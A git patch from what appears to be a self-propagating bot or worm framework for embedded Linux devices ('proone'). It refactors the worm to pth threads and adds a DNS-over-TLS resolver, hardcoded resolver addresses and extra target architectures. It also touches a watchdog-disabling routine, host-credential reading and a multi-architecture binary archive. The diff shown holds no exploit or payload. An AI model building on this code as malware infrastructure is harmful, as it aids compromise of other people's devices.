From 7bd3eb3b1ad4209ac4cf4b46f849213d46bc33aa Mon Sep 17 00:00:00 2001 From: David Timber Date: Mon, 17 Aug 2020 18:16:49 +0930 Subject: Employ pthsem ... * Use uint8_t array for hardcoded binary data * Add proone-ipaddr-arr to hardcode DoT servers * Convert X509 data * Brought back M68k and ARC archs just in case * Add CLOCK_REALTIME in prne_mbedtls_entropy_proc_src_f for more entropy * Remove installation of signal handlers. Use sigwait() instead * Bugfix: prne_rnd_anum_str() returned null characters * Add prne_dbgpf() and prne_dbgperr() * prne_assert(): put errno into a register so it's visible in the core dump --- proone.code-workspace | 4 +- src/Makefile.am | 9 +- src/config.c | 10 + src/mbedtls.c | 4 +- src/mbedtls.h | 4 +- src/proone-ipaddr-arr.c | 45 ++ src/proone-resolv.c | 352 ++++------- src/proone.c | 347 ++++------- src/proone.h | 10 +- src/protocol.c | 6 + src/protocol.h | 4 +- src/pth.c | 116 ++++ src/pth.h | 31 + src/resolv.c | 1432 +++++++++++++++++++++++++++++++++++++++++++ src/resolv.h | 94 +++ src/resolv_worker.c | 1542 ----------------------------------------------- src/resolv_worker.h | 95 --- src/util_ct.h | 8 + src/util_rt.c | 44 +- src/util_rt.h | 8 +- src/worker.c | 290 --------- src/worker.h | 79 --- 22 files changed, 2024 insertions(+), 2510 deletions(-) create mode 100644 src/proone-ipaddr-arr.c create mode 100644 src/pth.c create mode 100644 src/pth.h create mode 100644 src/resolv.c create mode 100644 src/resolv.h delete mode 100644 src/resolv_worker.c delete mode 100644 src/resolv_worker.h delete mode 100644 src/worker.c delete mode 100644 src/worker.h diff --git a/proone.code-workspace b/proone.code-workspace index facd4cd..58370ea 100644 --- a/proone.code-workspace +++ b/proone.code-workspace @@ -8,8 +8,8 @@ "editor.insertSpaces": false, "C_Cpp.default.cStandard": "c11", "C_Cpp.default.defines": [ - // TODO: Use "_POSIX_C_SOURCE=200112L", - "-D_GNU_SOURCE", + // "_POSIX_C_SOURCE=200112L", + "_GNU_SOURCE=1", // TODO: remove "PRNE_DEBUG", "PRNE_BUILD_ENTROPY=\"84532ab2-0857-4137-9daf-abd990684889\""], "C_Cpp.default.compilerArgs": [ diff --git a/src/Makefile.am b/src/Makefile.am index cbd1fd1..2c320a2 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -15,7 +15,8 @@ bin_PROGRAMS =\ proone-mask\ proone-print-all-data\ proone-resolv\ - proone-stress + proone-stress\ + proone-ipaddr-arr libproone_a_SOURCES =\ config.c\ @@ -28,8 +29,8 @@ libproone_a_SOURCES =\ iset.c\ imap.c\ mbedtls.c\ - worker.c\ - resolv_worker.c + pth.c\ + resolv.c proone_LDFLAGS = -static proone_LDADD = libproone.a @@ -60,6 +61,8 @@ proone_resolv_LDADD = libproone.a proone_resolv_LDFLAGS = proone_resolv_SOURCES = proone-resolv.c +proone_ipaddr_arr_SOURCES = proone-ipaddr-arr.c + proone_stress_LDADD = libproone.a proone_stress_LDFLAGS = -static proone_stress_SOURCES = proone-stress.c diff --git a/src/config.c b/src/config.c index 7e6512d..f333c06 100644 --- a/src/config.c +++ b/src/config.c @@ -27,6 +27,16 @@ const prne_arch_t prne_host_arch = PRNE_ARCH_PPC #elif defined(__SH4__) PRNE_ARCH_SH4 + #elif defined(__m68k__) + PRNE_ARCH_M68K + #elif defined(__arc__) + #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ + PRNE_ARCH_ARCEB + #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ + PRNE_ARCH_ARC + #else + #error "FIXME!" + #endif #else #error "FIXME!" #endif diff --git a/src/mbedtls.c b/src/mbedtls.c index 333cf1d..2b2cbc6 100644 --- a/src/mbedtls.c +++ b/src/mbedtls.c @@ -19,7 +19,7 @@ int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len) { const int fd = *(int*)ctx; ssize_t ret; - + ret = write(fd, buf, len); if (ret < 0) { switch (errno) { @@ -77,6 +77,7 @@ typedef struct { pid_t ppid; clock_t clock; struct timespec now; + struct timespec datetime; } ent_buf_t; static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, size_t len, size_t *olen) { @@ -87,6 +88,7 @@ static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, s buf.ppid = getppid(); buf.clock = clock(); clock_gettime(CLOCK_MONOTONIC, &buf.now); + clock_gettime(CLOCK_REALTIME, &buf.datetime); *olen = prne_op_min(len, sizeof(buf)); memcpy(output, &buf, sizeof(*olen)); diff --git a/src/mbedtls.h b/src/mbedtls.h index e1339bb..e7a9017 100644 --- a/src/mbedtls.h +++ b/src/mbedtls.h @@ -11,5 +11,7 @@ int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt_depth, uint32_t *flags); int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len); int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len); -// Workaround for a bug - getrandom() blocks +/* +* Workaround for a bug - getrandom() blocks +*/ void prne_mbedtls_entropy_init (mbedtls_entropy_context *ctx); diff --git a/src/proone-ipaddr-arr.c b/src/proone-ipaddr-arr.c new file mode 100644 index 0000000..ae8e7bd --- /dev/null +++ b/src/proone-ipaddr-arr.c @@ -0,0 +1,45 @@ +#include +#include +#include +#include +#include + +#include +#include + + +int main (const int argc, const char **args) { + static const int AF[2] = { AF_INET, AF_INET6 }; + char buf[512]; + uint8_t addr[16]; + size_t i; + regex_t re_trim; + regmatch_t rm[2]; + + assert(regcomp(&re_trim, "(\\S+)", REG_EXTENDED) == 0); + + while (fgets(buf, sizeof(buf), stdin) != NULL) { + if (regexec(&re_trim, buf, 2, rm, 0) != 0) { + goto CYCLE; + } + assert(rm[1].rm_so >= 0 && rm[1].rm_eo >= 0); + buf[rm[1].rm_eo] = 0; + + for (i = 0; i < 2; i += 1) { + memset(addr, 0, sizeof(addr)); + + if (inet_pton(AF[i], buf + rm[1].rm_so, addr) != 0) { + printf("{ 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x }", + addr[0], addr[1], addr[2], addr[3], addr[4], addr[5], addr[6], addr[7], addr[8], addr[9], addr[10], addr[11], addr[12], addr[13], addr[14], addr[15]); + break; + } + } + +CYCLE: + printf("\n"); + } + + regfree(&re_trim); + + return 0; +} diff --git a/src/proone-resolv.c b/src/proone-resolv.c index 44389b4..4897681 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -14,31 +14,30 @@ #include #include +#include #include #include "util_rt.h" #include "util_ct.h" #include "llist.h" -#include "resolv_worker.h" +#include "pth.h" +#include "resolv.h" #include "mbedtls.h" -static int caught_signal = 0; -static int int_pipe[2] = { -1, -1 }; static regex_t prmpt_regex, empty_line_regex; static mbedtls_entropy_context entropy; static mbedtls_ctr_drbg_context rnd; -static prne_wkr_sched_req_t wsr; -static prne_wkr_pollfd_slot_pt stdin_pfd = NULL; -typedef struct { - prne_resolv_prm_t prm; - prne_wkr_pollfd_slot_pt slot; -} prm_tuple_t; +bool main_flag = false; +pth_t pth_main; prne_llist_t prm_list; +pth_mutex_t prm_lock = PTH_MUTEX_INIT; +pth_cond_t prm_cond = PTH_COND_INIT; +prne_pth_cv_t prm_cv = { &prm_lock, &prm_cond, false }; -prne_resolv_wkr_ctx_t resolv = NULL; +prne_resolv_t *resolv = NULL; static void upperstr (char *str, const size_t n) { for (size_t i = 0; i < n; i += 1) { @@ -61,12 +60,12 @@ static void proc_prompt_line (char *line, const size_t line_len) { static regmatch_t rm[3]; if (regexec(&prmpt_regex, line, 3, rm, 0) == 0) { + prne_resolv_prm_t *prm = (prne_resolv_prm_t*)prne_malloc(sizeof(prne_resolv_prm_t), 1); char *verb, *obj; size_t verb_len, obj_len; - prm_tuple_t tpl; bool has_prm = false; - assert(rm[1].rm_so >= 0 && rm[2].rm_so >= 0); + prne_assert(rm[1].rm_so >= 0 && rm[2].rm_so >= 0); verb = line + rm[1].rm_so; verb_len = rm[1].rm_eo - rm[1].rm_so; @@ -76,152 +75,122 @@ static void proc_prompt_line (char *line, const size_t line_len) { obj[obj_len] = 0; if (strncmp(verb, "A", verb_len) == 0) { - has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_4, &tpl.prm, NULL); + has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_4, &prm_cv, prm); } else if (strncmp(verb, "AAAA", verb_len) == 0) { - has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_6, &tpl.prm, NULL); + has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_6, &prm_cv, prm); } else if (strncmp(verb, "TXT", verb_len) == 0) { - has_prm = prne_resolv_prm_gettxtrec(resolv, obj, &tpl.prm, NULL); + has_prm = prne_resolv_prm_gettxtrec(resolv, obj, &prm_cv, prm); } else { abort(); } if (has_prm) { - prm_tuple_t *e; - - tpl.slot = prne_alloc_wkr_pollfd_slot(&wsr); - tpl.slot->pfd.fd = tpl.prm.evtfd; - tpl.slot->pfd.events = POLLIN; - e = prne_malloc(sizeof(prm_tuple_t), 1); - memcpy(e, &tpl, sizeof(prm_tuple_t)); - - assert(prne_llist_append(&prm_list, e) != NULL); + prne_assert(prne_llist_append(&prm_list, prm) != NULL); } else { perror("* Queue failed"); + prne_free(prm); } } else if (line_len > 0 && regexec(&empty_line_regex, line, 0, NULL, 0) != 0) { fprintf(stderr, "* Line not recognised.\n"); } - - fprintf(stderr, "> "); - fflush(stderr); -} - -static void main_wkr_free (void *ctx) { - prne_llist_entry_t *cur; - - prne_free_wkr_pollfd_slot(stdin_pfd); - stdin_pfd = NULL; - - cur = prm_list.head; - while (cur != NULL) { - prm_tuple_t *tpl = (prm_tuple_t*)cur->element; - prne_free_wkr_pollfd_slot(tpl->slot); - prne_resolv_free_prm(&tpl->prm); - prne_free(tpl); - cur = cur->next; - } - - prne_free_llist(&prm_list); -} - -static void main_wkr_fin (void *ctx) { - prne_free_wkr_pollfd_slot(stdin_pfd); - stdin_pfd = NULL; } -static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) { - if (stdin_pfd != NULL) { - if (stdin_pfd->pfd.revents & POLLIN) { - static char line_buf[512]; - static size_t line_buf_cnt = 0; - static bool missed_line = false; - int read_len; - - read_len = read(STDIN_FILENO, line_buf + line_buf_cnt, sizeof(line_buf) - line_buf_cnt); - if (read_len > 0) { - char *line_buf_end, *line, *line_end; - size_t line_len, consumed = 0; - - line_buf_cnt += (size_t)read_len; - line_buf_end = line_buf + line_buf_cnt; - line = line_buf; - while (line < line_buf_end) { - line_end = prne_strnchr(line, '\n', line_buf_end - line); - if (line_end == NULL) { - break; - } - - if (missed_line) { - missed_line = false; - } - else { - *line_end = 0; - line_len = line_end - line; - proc_prompt_line(line, line_len); - } - consumed += line_end - line + 1; - line = line_end + 1; +static void *stdin_wkr_entry (void *ctx) { + while (main_flag) { + static char line_buf[512]; + static size_t line_buf_cnt = 0; + static bool missed_line = false; + int read_len; + + read_len = pth_read(STDIN_FILENO, line_buf + line_buf_cnt, sizeof(line_buf) - line_buf_cnt); + if (read_len > 0) { + char *line_buf_end, *line, *line_end; + size_t line_len, consumed = 0; + + line_buf_cnt += (size_t)read_len; + line_buf_end = line_buf + line_buf_cnt; + line = line_buf; + while (line < line_buf_end) { + line_end = prne_strnchr(line, '\n', line_buf_end - line); + if (line_end == NULL) { + break; } - if (consumed > 0) { - memmove(line_buf, line, line_buf_cnt - consumed); - line_buf_cnt -= consumed; + if (missed_line) { + missed_line = false; } else { - line_buf_cnt = 0; - if (!missed_line) { - fprintf(stderr, "* Line too long!\n"); - } - missed_line = true; + *line_end = 0; + line_len = line_end - line; + proc_prompt_line(line, line_len); } + consumed += line_end - line + 1; + line = line_end + 1; + } + + if (consumed > 0) { + memmove(line_buf, line, line_buf_cnt - consumed); + line_buf_cnt -= consumed; } else { - kill(getpid(), SIGTERM); - return; + line_buf_cnt = 0; + if (!missed_line) { + fprintf(stderr, "* Line too long!\n"); + } + missed_line = true; } } - else if (stdin_pfd->pfd.revents) { - kill(getpid(), SIGTERM); - return; + else if (read_len == 0) { + pth_raise(pth_main, SIGTERM); + break; + } + else { + break; } + + fflush(stderr); } - if (prm_list.size > 0) { - prm_tuple_t *tpl; - prne_llist_entry_t *cur; - bool output = false; + + return NULL; +} + +static void *stdout_wkr_entry (void *ctx) { + prne_resolv_prm_t *prm; + prne_llist_entry_t *cur; + bool output = false; + + while (main_flag || prm_list.size > 0) { + prne_assert(prne_pth_cond_timedwait(&prm_cv, NULL, NULL)); cur = prm_list.head; while (cur != NULL) { - tpl = (prm_tuple_t*)cur->element; + prm = (prne_resolv_prm_t*)cur->element; - assert((tpl->slot->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) == 0); - - if (tpl->slot->pfd.revents) { + if (prm->fut != NULL && prm->fut->qr != PRNE_RESOLV_QR_NONE) { static char ntop_buf[INET6_ADDRSTRLEN]; const char *qr_str, *status_str; size_t i; output = true; - fprintf(stderr, "\n"); - qr_str = prne_resolv_qr_tostr(tpl->prm.fut->qr); - assert(qr_str != NULL); + qr_str = prne_resolv_qr_tostr(prm->fut->qr); + prne_assert(qr_str != NULL); status_str = NULL; - if (tpl->prm.fut->qr == PRNE_RESOLV_QR_OK || tpl->prm.fut->qr == PRNE_RESOLV_QR_STATUS) { - status_str = prne_resolv_rcode_tostr(tpl->prm.fut->status); + if (prm->fut->qr == PRNE_RESOLV_QR_OK || prm->fut->qr == PRNE_RESOLV_QR_STATUS) { + status_str = prne_resolv_rcode_tostr(prm->fut->status); } if (status_str == NULL) { status_str = ""; } printf("; qr: %7s, err: %3d, status: (%u)%s\n", - qr_str, tpl->prm.fut->err, tpl->prm.fut->status, status_str); - for (i = 0; i < tpl->prm.fut->rr_cnt; i += 1) { - prne_resolv_rr_t *rr = tpl->prm.fut->rr + i; + qr_str, prm->fut->err, prm->fut->status, status_str); + for (i = 0; i < prm->fut->rr_cnt; i += 1) { + prne_resolv_rr_t *rr = prm->fut->rr + i; const char *type_str; type_str = prne_resolv_rrtype_tostr(rr->rr_type); @@ -253,9 +222,7 @@ static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) { } printf(";\n"); - prne_resolv_free_prm(&tpl->prm); - prne_free_wkr_pollfd_slot(tpl->slot); - prne_free(tpl); + prne_resolv_free_prm(prm); cur = prne_llist_erase(&prm_list, cur); } else { @@ -264,141 +231,74 @@ static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) { } if (output) { - fprintf(stderr, "> "); fflush(stdout); - fflush(stderr); } } -} - -static bool main_wkr_has_finalised (void *ctx) { - return stdin_pfd == NULL && prm_list.size == 0; -} - -static void init_main_wkr (prne_worker_t *wkr) { - wkr->ctx = NULL; - wkr->free = main_wkr_free; - wkr->fin = main_wkr_fin; - wkr->work = main_wkr_work; - wkr->has_finalised = main_wkr_has_finalised; - - stdin_pfd = prne_alloc_wkr_pollfd_slot(&wsr); - stdin_pfd->pfd.fd = STDIN_FILENO; - stdin_pfd->pfd.events = POLLIN; - - prne_init_llist(&prm_list); -} -static void handle_interrupt (const int sn) { - caught_signal = sn; - write(int_pipe[1], &sn, 1); + return NULL; } -static void install_signal_handlers (void) { - struct sigaction sa; +int main (void) { + prne_worker_t wkr_arr[3]; + sigset_t sigset; + int caught; - if (pipe(int_pipe) == 0) { - prne_set_pipe_size(int_pipe[0], 1); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + prne_init_worker(wkr_arr + i); } + prne_assert(sigemptyset(&sigset) == 0); + prne_assert(sigaddset(&sigset, SIGTERM) == 0); + prne_assert(sigaddset(&sigset, SIGINT) == 0); - memzero(&sa, sizeof(struct sigaction)); - sa.sa_flags = SA_RESETHAND; - sa.sa_handler = handle_interrupt; - - sigaction(SIGINT, &sa, NULL); - sigaction(SIGTERM, &sa, NULL); -} + prne_assert(pth_init() != 0); + pth_main = pth_self(); -int main (void) { - static prne_worker_t wkr_arr[2]; - static size_t i; - static prne_wkr_tick_info_t ti; - static int poll_ret; - static bool finalising = false; - static prne_wkr_pollfd_slot_pt int_pfd = NULL; - - /* org regex: (A|AAAA|TXT)\s+([a-z0-9\-\.]+) */ - assert(regcomp(&prmpt_regex, "(A|AAAA|TXT)\\s+([a-z0-9\\-\\.]+)", REG_ICASE | REG_EXTENDED) == 0); - /* org regex: ^\s+$ */ - assert(regcomp(&empty_line_regex, "^\\s+$", REG_NOSUB | REG_EXTENDED) == 0); + // org regex: (A|AAAA|TXT)\s+([a-z0-9\-\.]+) + prne_assert(regcomp(&prmpt_regex, "(A|AAAA|TXT)\\s+([a-z0-9\\-\\.]+)", REG_ICASE | REG_EXTENDED) == 0); + // org regex: ^\s+$ + prne_assert(regcomp(&empty_line_regex, "^\\s+$", REG_NOSUB | REG_EXTENDED) == 0); prne_mbedtls_entropy_init(&entropy); mbedtls_ctr_drbg_init(&rnd); - assert(mbedtls_ctr_drbg_seed(&rnd, mbedtls_entropy_func, &entropy, (const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY) - 1) == 0); - prne_init_wkr_sched_req(&wsr); - prne_init_wkr_tick_info(&ti); - - prne_ok_or_die(fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK)); - install_signal_handlers(); - int_pfd = prne_alloc_wkr_pollfd_slot(&wsr); - int_pfd->pfd.fd = int_pipe[0]; - int_pfd->pfd.events = POLLIN; - - init_main_wkr(&wkr_arr[0]); - wkr_arr[0].id = 0; - resolv = prne_alloc_resolv_worker(&wkr_arr[1], &wsr, &rnd); - assert(resolv != NULL); - - fprintf(stderr, "> "); - fflush(stderr); - - prne_wkr_tick_info_set_start(&ti); - while (true) { - static bool worked; - - if (caught_signal && !finalising) { - int_pfd->pfd.fd = -1; - - for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) { - if (wkr_arr[i].has_finalised(wkr_arr[i].ctx)) { - continue; - } - wkr_arr[i].fin(wkr_arr[i].ctx); - } - finalising = true; - } + prne_assert(mbedtls_ctr_drbg_seed(&rnd, mbedtls_entropy_func, &entropy, (const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY) - 1) == 0); + prne_init_llist(&prm_list); + + resolv = prne_alloc_resolv(&wkr_arr[0], &rnd); + prne_assert(resolv != NULL); - worked = false; - for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) { - if (wkr_arr[i].has_finalised(wkr_arr[i].ctx)) { - if (!finalising) { - fprintf(stderr, "** worker #%zu finalised!\n", wkr_arr[i].id); - abort(); - } - } - else { - wkr_arr[i].work(wkr_arr[i].ctx, &ti); - worked = true; - } - } - if (!worked) { - break; - } + wkr_arr[1].entry = stdin_wkr_entry; + wkr_arr[2].entry = stdout_wkr_entry; - poll_ret = -1; - if (prne_wkr_sched_req_prep_poll(&wsr)) { - prne_wkr_sched_req_do_poll(&wsr, &poll_ret); - } - prne_wkr_tick_info_set_tick(&ti); - prne_wkr_sched_req_refl_poll(&wsr, poll_ret, ti.tick_diff); + main_flag = true; + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + wkr_arr[i].pth = pth_spawn(PTH_ATTR_DEFAULT, wkr_arr[i].entry, wkr_arr[i].ctx); } - for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) { - wkr_arr[i].free(wkr_arr[i].ctx); + pth_sigmask(SIG_BLOCK, &sigset, NULL); + pth_sigwait(&sigset, &caught); + pth_sigmask(SIG_UNBLOCK, &sigset, NULL); + + main_flag = false; + close(STDIN_FILENO); + prne_pth_cv_notify(&prm_cv); + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + prne_fin_worker(wkr_arr + i); + } + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + assert(pth_join(wkr_arr[i].pth, NULL)); + prne_free_worker(wkr_arr + i); } - prne_free_wkr_pollfd_slot(int_pfd); - prne_free_wkr_sched_req(&wsr); - prne_free_wkr_tick_info(&ti); mbedtls_ctr_drbg_free(&rnd); mbedtls_entropy_free(&entropy); regfree(&prmpt_regex); regfree(&empty_line_regex); - fprintf(stderr, "\n"); + for (prne_llist_entry_t *cur = prm_list.head; cur != NULL; cur = cur->next) { + prne_resolv_prm_t *prm = (prne_resolv_prm_t*)cur->element; + prne_resolv_free_prm(prm); + prne_free(prm); + } + prne_free_llist(&prm_list); return 0; } diff --git a/src/proone.c b/src/proone.c index 4fdae85..af77ba2 100644 --- a/src/proone.c +++ b/src/proone.c @@ -29,204 +29,81 @@ struct prne_global prne_g; struct prne_shared_global *prne_s_g = NULL; -static prne_worker_t resolv_wkr; -static prne_worker_t htbt_wkr; -static prne_worker_t* wkr_arr[2] = { NULL, NULL }; -static prne_llist_t wkr_pool; -static void (*proc_fin_call_ptr)(void) = NULL; -static bool finalising = false; -static int int_pipe[2] = { -1, -1 }; -static prne_wkr_pollfd_slot_pt int_pfd = NULL; - -static void proc_fin_call (void) { - if (prne_g.caught_signal != 0) { - prne_llist_entry_t *cur = wkr_pool.head; - prne_worker_t *w; - - prne_free_wkr_pollfd_slot(int_pfd); - int_pfd = NULL; - - while (cur != NULL) { - w = (prne_worker_t*)cur->element; - if (!w->has_finalised(w->ctx)) { - w->fin(w->ctx); - } - cur = cur->next; - } +sigset_t ss_exit, ss_all; - proc_fin_call_ptr = prne_empty_func; - finalising = true; - } -} +static prne_worker_t wkr_arr[2]; +static size_t wkr_cnt = 0; -static void alloc_workers (prne_wkr_sched_req_t *sched_req) { - prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd); - if (prne_g.resolv != NULL) { - resolv_wkr.id = PRNE_RESOLV_WKR_ID; - wkr_arr[0] = &resolv_wkr; - if (prne_llist_append(&wkr_pool, &resolv_wkr) == NULL) { - prne_g.resolv = NULL; - } +static void alloc_workers (void) { + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + prne_init_worker(wkr_arr + i); } + + prne_g.resolv = prne_alloc_resolv(wkr_arr + 0, &prne_g.ssl.rnd); + prne_assert(prne_g.resolv != NULL); + wkr_cnt += 1; } static void free_workers (void) { - for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) { - if (wkr_arr[i] == NULL) { - continue; - } - wkr_arr[i]->free(wkr_arr[i]->ctx); - wkr_arr[i] = NULL; + for (size_t i = 0; i < wkr_cnt; i += 1) { + prne_free_worker(wkr_arr + i); } prne_g.resolv = NULL; } -#ifdef PRNE_DEBUG -static void handle_sigpipe (const int sn) { - // ALWAYS poll() before writing to fd! - abort(); -} -#endif - -static void handle_sigchld (const int sn) { - const int saved_errno = errno; - pid_t reaped; - - do { - reaped = waitpid(-1, NULL, WNOHANG); - } while (reaped > 0); - - errno = saved_errno; -} - static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) { if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) { mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0); } } +/* proone_main() +* Actual main where all dangerous stuff happens. +* Most of long-lived variables are declared static so there's little stack +* allocation involvedsince stack allocation can cause page fault. +*/ static int proone_main (void) { -#ifdef PRNE_DEBUG - static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s -#endif - static int exit_code = 0, poll_ret; - static prne_wkr_tick_info_t tick_info; - static prne_wkr_sched_req_t sched_req; - static prne_llist_entry_t *cur; - static prne_worker_t *wkr; -#ifdef PRNE_DEBUG - static struct { - prne_wkr_sched_req_t sched; - prne_wkr_timeout_slot_pt busy_tos; - bool sched_ret; - } dbg; -#endif + static int caught_sig; + static pid_t reaped; - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.child_start)); - seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY)); + prne_assert(pth_init()); + prne_g.main_pth = pth_self(); -#ifdef PRNE_DEBUG - signal(SIGPIPE, handle_sigpipe); -#else +#ifndef PRNE_DEBUG signal(SIGPIPE, SIG_IGN); #endif - signal(SIGCHLD, handle_sigchld); - -#ifdef PRNE_DEBUG - prne_init_wkr_sched_req(&dbg.sched); - dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched); - assert(dbg.busy_tos != NULL); -#endif - prne_init_wkr_sched_req(&sched_req); - prne_init_wkr_tick_info(&tick_info); - prne_init_llist(&wkr_pool); - alloc_workers(&sched_req); - int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req); - if (int_pfd != NULL) { - int_pfd->pfd.fd = int_pipe[0]; - int_pfd->pfd.events = POLLIN; - } + seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY)); + alloc_workers(); - if (wkr_pool.size == 0) { - exit_code = 1; - goto END; + for (size_t i = 0; i < wkr_cnt; i += 1) { + wkr_arr[i].pth = pth_spawn(PTH_ATTR_DEFAULT, wkr_arr[i].entry, wkr_arr[i].ctx); + prne_assert(wkr_arr[i].pth != NULL); } - if (prne_g.caught_signal != 0) { - goto END; - } - - proc_fin_call_ptr = proc_fin_call; - prne_wkr_tick_info_set_start(&tick_info); - while (true) { - proc_fin_call_ptr(); - - cur = wkr_pool.head; - while (cur != NULL) { - wkr = (prne_worker_t*)cur->element; - - if (wkr->has_finalised(wkr->ctx)) { - cur = prne_llist_erase(&wkr_pool, cur); - } - else { - wkr->work(wkr->ctx, &tick_info); - cur = cur->next; - } - } - if (wkr_pool.size == 0) { - exit_code = finalising ? 0 : 1; - break; + do { + prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0); + if (caught_sig == SIGCHLD) { + do { + reaped = waitpid(-1, NULL, WNOHANG); + } while (reaped > 0); + continue; } + } while (false); + sigprocmask(SIG_UNBLOCK, &ss_exit, NULL); - poll_ret = -1; - if (prne_wkr_sched_req_prep_poll(&sched_req)) { -#ifdef PRNE_DEBUG - if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) { - if (!dbg.busy_tos->active) { - dbg.busy_tos->active = true; - dbg.busy_tos->dur = DBG_BUSY_CHECK_INT; - } - } - else { - dbg.busy_tos->active = false; - } - dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched); -#endif - prne_wkr_sched_req_do_poll(&sched_req, &poll_ret); - } - else { -#ifdef PRNE_DEBUG - dbg.busy_tos->active = false; - dbg.sched_ret = false; -#endif - } - prne_wkr_tick_info_set_tick(&tick_info); - prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff); -#ifdef PRNE_DEBUG - if (dbg.sched_ret) { - prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff); - if (dbg.busy_tos->active && dbg.busy_tos->reached) { - const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT); - dbg.busy_tos->active = false; - fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s"); - } - } -#endif + for (size_t i = 0; i < wkr_cnt; i += 1) { + prne_fin_worker(wkr_arr + i); + } + for (size_t i = 0; i < wkr_cnt; i += 1) { + prne_assert(pth_join(wkr_arr[i].pth, NULL)); + prne_free_worker(wkr_arr + i); } -END: free_workers(); - prne_free_llist(&wkr_pool); - prne_free_wkr_pollfd_slot(int_pfd); - prne_free_wkr_tick_info(&tick_info); - prne_free_wkr_sched_req(&sched_req); -#ifdef PRNE_DEBUG - prne_free_wkr_timeout_slot(dbg.busy_tos); - prne_free_wkr_sched_req(&dbg.sched); -#endif + pth_kill(); - return exit_code; + return 0; } static bool ensure_single_instance (void) { @@ -291,28 +168,6 @@ static void disasble_watchdog (void) { #endif } -static void handle_interrupt (const int sig) { - const int saved_errno = errno; - uint8_t rubbish = 0; - - prne_g.caught_signal = sig; - write(int_pipe[1], &rubbish, 1); - - errno = saved_errno; -} - -static void setup_signal_actions (void) { - struct sigaction sa; - - sa.sa_handler = handle_interrupt; - sigemptyset(&sa.sa_mask); - sa.sa_flags = SA_RESETHAND; - - // try to exit gracefully upon reception of these signals - sigaction(SIGINT, &sa, NULL); - sigaction(SIGTERM, &sa, NULL); -} - static void read_host_credential (void) { static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3 + 2; char *buf = (char*)prne_malloc(1, buf_size); @@ -335,12 +190,15 @@ END: prne_free(buf); } -static void read_bin_archive (void) { +static void setup_bin_archive (void) { + // TODO +#if 0 prne_stdin_base64_rf_ctx_t rf_ctx; prne_init_stdin_base64_rf_ctx(&rf_ctx); prne_g.bin_ready = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &prne_g.bin_archive).rc == PRNE_PACK_RC_OK; prne_free_stdin_base64_rf_ctx(&rf_ctx); +#endif } static void set_env (void) { @@ -348,12 +206,20 @@ static void set_env (void) { } static void load_ssl_conf 